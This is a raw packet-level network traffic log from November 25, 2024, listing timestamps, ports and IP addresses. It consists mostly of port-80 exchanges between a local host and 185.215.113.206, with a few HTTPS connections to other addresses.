Nov 25, 2024 18:28:37.336401939 CET	443	49801	162.159.61.3	192.168.2.5
Nov 25, 2024 18:28:37.337013006 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.337025881 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.337061882 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.337085009 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.337884903 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.337950945 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.338401079 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.338445902 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.338905096 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.338917017 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.338948965 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.339993954 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.340040922 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.340281963 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.340421915 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.340797901 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.340903044 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.341799974 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.341811895 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.341821909 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.341861963 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.341893911 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.342945099 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.343004942 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.343182087 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.343250990 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.343914032 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.343997955 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.344130039 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.344175100 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.345040083 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.345208883 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.345278025 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.345320940 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.346159935 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.346209049 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.346601009 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.346652985 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.346827984 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.346884966 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.346955061 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.347115040 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.347618103 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.347878933 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.347909927 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.347940922 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.348609924 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.348654985 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.348676920 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.348773003 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.349597931 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.349647999 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.350241899 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.350302935 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.350611925 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.350622892 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.350662947 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.350686073 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.351577997 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.351634979 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.351830959 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.351890087 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.352000952 CET	49800	443	192.168.2.5	162.159.61.3
Nov 25, 2024 18:28:37.352497101 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.352556944 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.352685928 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.352838039 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.353460073 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.353539944 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.353737116 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.353797913 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.354486942 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.354500055 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.354548931 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.355536938 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.355597973 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.355622053 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.355775118 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.356389046 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.356448889 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.356537104 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.356590033 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.357443094 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.357454062 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.357486010 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.357508898 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.358365059 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.358566999 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.359029055 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.359080076 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.359368086 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.359381914 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.359431028 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.360297918 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.360352993 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.360472918 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.360565901 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.361284971 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.361340046 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.361942053 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.361998081 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.362288952 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.362335920 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.362406015 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.362509012 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.363234997 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.363284111 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.363364935 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.363409996 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.364263058 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.364340067 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.364370108 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.364413977 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.365171909 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.365226984 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.368021011 CET	49802	443	192.168.2.5	162.159.61.3
Nov 25, 2024 18:28:37.368087053 CET	49799	443	192.168.2.5	162.159.61.3
Nov 25, 2024 18:28:37.383918047 CET	49801	443	192.168.2.5	162.159.61.3
Nov 25, 2024 18:28:37.512392044 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.512464046 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.512497902 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.512542963 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.512697935 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.512749910 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.512836933 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.512927055 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.516879082 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.516891956 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.516940117 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.516967058 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.516982079 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.516999960 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.517009974 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.517040014 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.517066002 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.517843962 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.517976046 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.518018961 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.518100023 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.518814087 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.518866062 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.518984079 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.519040108 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.519730091 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.519785881 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.520047903 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.520117998 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.520812035 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.520823956 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.520874977 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.521521091 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.521569967 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.522006989 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.522053003 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.522614956 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.522631884 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.522682905 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.523690939 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.523709059 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.523747921 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.523761034 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.524636984 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.524712086 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.524791956 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.525012016 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.525609970 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.525665998 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.525942087 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.525996923 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.526304007 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.526360989 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.526676893 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.526747942 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.526943922 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.527004957 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.527080059 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.527164936 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.527395010 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.527448893 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.527760029 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.527810097 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.528376102 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.528388023 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.528448105 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.529484987 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.529498100 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.529531002 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.529545069 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.530284882 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.530338049 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.531162024 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.531213045 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.531261921 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.531275988 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.531335115 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.532234907 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.532296896 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.532505035 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.532596111 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.533193111 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.533320904 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.533576965 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.533678055 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.534276009 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.534288883 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.534337997 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.534349918 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.535229921 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.535285950 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.535382986 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.535434961 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.536153078 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.536212921 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.536328077 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.536509037 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.537112951 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.537172079 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.537312031 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.537369967 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.537722111 CET	49821	443	192.168.2.5	23.200.88.38
Nov 25, 2024 18:28:37.537755966 CET	443	49821	23.200.88.38	192.168.2.5
Nov 25, 2024 18:28:37.537823915 CET	49821	443	192.168.2.5	23.200.88.38
Nov 25, 2024 18:28:37.538084030 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.538130045 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.538150072 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.538198948 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.538286924 CET	49821	443	192.168.2.5	23.200.88.38
Nov 25, 2024 18:28:37.538302898 CET	443	49821	23.200.88.38	192.168.2.5
Nov 25, 2024 18:28:37.539077044 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.539139986 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.539773941 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.539820910 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.542944908 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.542963028 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.542974949 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.542984962 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.542994022 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.543019056 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.543021917 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.543030977 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.543061972 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.543080091 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.544054985 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.544101000 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.544608116 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.544658899 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.544974089 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.545027971 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.545165062 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.545213938 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.546102047 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.546199083 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.546783924 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.546799898 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.546813011 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.546838999 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.546854019 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.546864986 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.546900988 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.547837973 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.547971964 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.548855066 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.548922062 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.549551010 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.549561977 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.549609900 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.549637079 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.550430059 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.550441980 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.550465107 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.550487995 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.550518990 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.552040100 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.552103996 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.552453995 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.552648067 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.553153038 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.553168058 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.553215981 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.553237915 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.553328991 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.553451061 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.554467916 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.554480076 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.554512024 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.554521084 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.554555893 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.554589033 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.557277918 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.557400942 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.557821035 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.557976007 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.557977915 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.557991028 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.558016062 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.558038950 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.558938980 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.558995008 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.559675932 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.559720993 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.559921026 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.560028076 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.560056925 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.560077906 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.560643911 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.560703993 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.560729027 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.560770035 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.561364889 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.561419964 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.561530113 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.561645031 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.562088966 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.562136889 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.562860012 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.562877893 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.562891006 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.562926054 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.562961102 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.563821077 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.563896894 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.564198017 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.564340115 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.564871073 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.564918995 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.681849957 CET	443	49804	172.64.41.3	192.168.2.5
Nov 25, 2024 18:28:37.682310104 CET	49804	443	192.168.2.5	172.64.41.3
Nov 25, 2024 18:28:37.682323933 CET	443	49804	172.64.41.3	192.168.2.5
Nov 25, 2024 18:28:37.683119059 CET	443	49804	172.64.41.3	192.168.2.5
Nov 25, 2024 18:28:37.683650970 CET	49804	443	192.168.2.5	172.64.41.3
Nov 25, 2024 18:28:37.683710098 CET	443	49804	172.64.41.3	192.168.2.5
Nov 25, 2024 18:28:37.700817108 CET	443	49803	172.64.41.3	192.168.2.5
Nov 25, 2024 18:28:37.701100111 CET	49803	443	192.168.2.5	172.64.41.3
Nov 25, 2024 18:28:37.701112986 CET	443	49803	172.64.41.3	192.168.2.5
Nov 25, 2024 18:28:37.702548981 CET	443	49803	172.64.41.3	192.168.2.5
Nov 25, 2024 18:28:37.702611923 CET	49803	443	192.168.2.5	172.64.41.3
Nov 25, 2024 18:28:37.703107119 CET	49803	443	192.168.2.5	172.64.41.3
Nov 25, 2024 18:28:37.703181982 CET	443	49803	172.64.41.3	192.168.2.5
Nov 25, 2024 18:28:37.713366985 CET	80	49761	185.215.113.206	192.168.2.5
